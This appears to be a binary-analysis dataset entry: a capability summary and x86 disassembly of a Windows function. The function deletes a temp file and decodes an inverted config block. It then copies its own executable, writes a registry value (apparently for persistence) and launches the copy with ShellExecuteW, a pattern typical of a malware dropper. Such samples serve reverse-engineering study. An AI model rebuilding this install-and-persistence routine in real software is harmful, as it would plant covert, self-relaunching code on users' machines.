Function at 0x401d50
Capabilities:
Create process on windows
Delete file
Get common file path
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x824
mov eax, dword [0x41a04c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
mov esi, 0x206
push esi
mov word [ebp - 0x210], ax
xor ebx, ebx
lea eax, [ebp - 0x20e]
push ebx
push eax
call fcn.00408fc0
add esp, 0xc
xor eax, eax
push esi
mov word [ebp - 0x418], ax
lea eax, [ebp - 0x416]
push ebx
push eax
call fcn.00408fc0
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x415fa8
lea eax, [ebp - 0x210]
push esi
push eax
call fcn.00405522
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
call fcn.004021e6
cmp dword [0x41c5c0], 1
mov edi, eax
jne 0x401df1
cmp edi, ebx
jne 0x401df1
xor eax, eax
jmp 0x4021d7
call fcn.0040254b
push 0x200
mov dword [ebp - 0x81c], eax
lea eax, [ebp - 0x618]
push ebx
push eax
call fcn.00408fc0
add esp, 0xc
push 0x51
pop eax
mov word [ebp - 0x594], ax
mov eax, 0x2b70
mov word [ebp - 0x4f2], ax
mov dword [ebp - 0x618], 0x504d534d
xor eax, eax
movzx ecx, word [eax + 0x415f2c]
mov word [ebp + eax - 0x572], cx
inc eax
inc eax
cmp cx, bx
jne 0x401e33
xor eax, eax
movzx ecx, word [eax + 0x415f04]
mov word [ebp + eax - 0x614], cx
inc eax
inc eax
cmp cx, bx
jne 0x401e4b
xor eax, eax
movzx ecx, word [eax + 0x415f20]
mov word [ebp + eax - 0x592], cx
inc eax
inc eax
cmp cx, bx
jne 0x401e63
mov esi, 0x41c580
push esi
lea eax, [ebp - 0x490]
push 0x10
push eax
mov dword [ebp - 0x450], 5
call fcn.004054b3
add esp, 0xc
cmp edi, ebx
jne 0x401ea6
cmp dword [ebp - 0x81c], ebx
je 0x401f1b
push 0x41c3f0
lea eax, [ebp - 0x592]
push 0x10
push eax
call fcn.004054b3
add esp, 0xc
push 0x41c470
lea eax, [ebp - 0x614]
push 0x40
push eax
call fcn.004054b3
add esp, 0xc
push 0x41c4f8
lea eax, [ebp - 0x572]
push 0x40
push eax
call fcn.004054b3
mov ax, word [0x41c4f0]
mov word [ebp - 0x594], ax
mov ax, word [0x41c578]
mov word [ebp - 0x4f2], ax
mov eax, dword [0x41c57c]
add esp, 0xc
mov dword [ebp - 0x450], eax
cmp eax, ebx
jne 0x401f1b
mov dword [ebp - 0x450], 5
mov edx, 0x415f04
lea eax, [ebp - 0x614]
mov cx, word [eax]
cmp cx, word [edx]
jne 0x401f4c
cmp cx, bx
je 0x401f48
mov cx, word [eax + 2]
cmp cx, word [edx + 2]
jne 0x401f4c
add eax, 4
add edx, 4
cmp cx, bx
jne 0x401f26
xor eax, eax
jmp 0x401f51
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
jne 0x401f6d
cmp word [ebp - 0x594], 0x51
jne 0x401f6d
mov eax, 0x2b70
cmp word [ebp - 0x4f2], ax
je 0x401fbd
xor eax, eax
movzx ecx, word [eax + 0x415f20]
mov word [ebp + eax - 0x592], cx
inc eax
inc eax
cmp cx, bx
jne 0x401f6f
push 0x51
pop eax
mov word [ebp - 0x594], ax
mov eax, 0x2b70
mov word [ebp - 0x4f2], ax
mov dword [ebp - 0x450], 5
xor eax, eax
movzx ecx, word [eax + 0x415f04]
mov word [ebp + eax - 0x614], cx
inc eax
inc eax
cmp cx, bx
jne 0x401fa7
xor eax, eax
movzx ecx, word [eax + 0x415f2c]
mov word [ebp + eax - 0x572], cx
inc eax
inc eax
cmp cx, bx
jne 0x401fbf
cmp word [ebp - 0x614], bx
je 0x4021d4
cmp word [ebp - 0x594], bx
jbe 0x4021d4
mov edi, 0x504d534d
mov eax, esi
mov dword [ebp - 0x618], edi
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
cmp cx, bx
jne 0x401fff
sub eax, edx
sar eax, 1
je 0x402032
push esi
push ebx
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x402032
push esi
lea eax, [ebp - 0x490]
push 0x10
push eax
call fcn.004054b3
add esp, 0xc
cmp word [ebp - 0x490], bx
jne 0x402051
push 0x415fc0
lea eax, [ebp - 0x490]
push 0x10
push eax
call fcn.004054b3
add esp, 0xc
cmp word [ebp - 0x470], bx
jne 0x40209c
push 0x415fcc
lea eax, [ebp - 0x470]
push 0x10
push eax
call fcn.004054b3
mov ecx, 0x41c5a0
mov eax, ecx
add esp, 0xc
lea esi, [eax + 2]
mov dx, word [eax]
inc eax
inc eax
cmp dx, bx
jne 0x40207a
sub eax, esi
sar eax, 1
je 0x40209c
push ecx
lea eax, [ebp - 0x470]
push 0x10
push eax
call fcn.004054b3
add esp, 0xc
mov dword [ebp - 0x44c], 0x10002f0
cmp dword [ebp - 0x450], ebx
jne 0x4020b8
mov dword [ebp - 0x450], 5
mov eax, edi
mov ecx, pe_nt_image_headers32
lea esi, [ebp - 0x618]
lea edi, [ebp - 0x818]
rep movsd dword es:[edi], dword [esi]
cmp dword [ebp - 0x618], eax
jne 0x4021d4
xor eax, eax
not byte [ebp + eax - 0x818]
inc eax
cmp eax, 0x200
jb 0x4020db
lea edi, [ebp - 0x818]
call fcn.00401ca4
test eax, eax
je 0x4021d4
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x470]
push eax
call fcn.004027a0
pop ecx
pop ecx
push 0x104
lea eax, [ebp - 0x418]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
push 0x64
pop ecx
xor edx, edx
div ecx
lea eax, [ebp - 0x210]
push edx
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00403040
add esp, 0xc
lea eax, [ebp - 0x820]
push eax
push 3
push ebx
push 0x415c48
push closesocket
mov dword [ebp - 0x820], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4021bd
lea eax, [ebp - 0x210]
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
cmp cx, bx
jne 0x40217f
sub eax, edx
sar eax, 1
lea eax, [eax + eax + 2]
push eax
lea eax, [ebp - 0x210]
push eax
push 1
push ebx
push 0x415fdc
push dword [ebp - 0x820]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x4021bd
push dword [ebp - 0x820]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
push ebx
push 0x415ce0
lea eax, [ebp - 0x210]
push eax
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004054a4
leave
ret